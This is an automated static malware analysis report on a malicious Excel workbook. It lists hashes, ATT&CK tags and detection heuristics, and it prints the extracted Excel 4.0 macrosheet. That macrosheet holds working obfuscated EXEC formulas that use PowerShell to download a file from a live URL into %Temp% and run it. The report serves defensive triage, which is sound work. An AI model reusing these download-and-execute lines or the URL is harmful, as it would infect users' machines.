Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c82fa4bc3d8d986e…

MALICIOUS

Office (OOXML)

89.7 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-07-10
MD5: 3782a69305614d91e1da307a348d75a9 SHA-1: 393f066461507df27deb5df56e0ce89697f3fc4a SHA-256: c82fa4bc3d8d986ef9aa2cf38c4bb0526668a93c960fb278a8a496fef0146863
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro sheet that utilizes the EXEC function to download a payload from 'http://iurl.vip/w5jgx' to '%Temp%\bQGLY.exe' and then execute it using PowerShell. The macro also includes a command to start PowerShell and sleep for 10 seconds before executing the downloaded file, indicating a multi-stage infection process.

Heuristics 6

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://iurl.vip/w5jgx In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1637 bytes
SHA-256: da5518ef83be55ef5f5d04a60d790edc8b515cb8dd9473f38cec636c5ca69fb9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="E587:K624"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="12.75" x14ac:dyDescent="0.2"/><cols><col min="1" max="4" width="11.42578125" customWidth="1"/><col min="5" max="5" width="8.85546875" hidden="1" customWidth="1"/><col min="6" max="256" width="11.42578125" customWidth="1"/></cols><sheetData><row r="587" spans="11:11" x14ac:dyDescent="0.2"><c r="K587" s="3"><f>EXEC("cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\bQGLY.exe")</f><v>0</v></c></row><row r="591" spans="11:11" x14ac:dyDescent="0.2"><c r="K591" s="1"/></row><row r="596" spans="11:11" x14ac:dyDescent="0.2"><c r="K596" s="3"><f>EXEC("powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/w5jgx',$env:Temp+'\bQGLY.exe')")</f><v>0</v></c></row><row r="600" spans="11:11" ht="15" x14ac:dyDescent="0.2"><c r="K600" s="2"/></row><row r="624" spans="11:11" x14ac:dyDescent="0.2"><c r="K624" s="1" t="b"><f>PAUSE()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>